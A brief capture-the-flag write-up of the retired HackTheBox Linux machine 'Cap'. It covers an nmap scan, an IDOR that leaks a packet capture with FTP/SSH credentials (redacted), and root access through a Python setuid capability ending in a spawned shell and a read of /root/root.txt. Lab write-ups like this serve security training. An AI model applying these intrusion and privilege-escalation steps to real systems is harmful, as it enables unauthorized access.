← all writeups

Cap

HackTheBox Linux Easy
#htb#linux#web#idor#privesc

Retired machine. Credentials and flags redacted - solve it yourself.

Summary

IDOR exposes another user’s packet capture, which leaks FTP/SSH credentials. Root comes from a Python capability (os.setuid(0)).

Enumeration

sudo nmap -sC -sV -oA nmap/cap 10.10.10.245
21/tcp open  ftp     vsFTPd 3.0.3
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu
80/tcp open  http    Gunicorn 19.9.0

Foothold

ftp 10.10.10.245        # login as nathan → success (low-priv, uid 1001)
ssh nathan@10.10.10.245 # same password → user shell

Privilege Escalation

os.system('sh')
cat /root/root.txt

Lessons Learned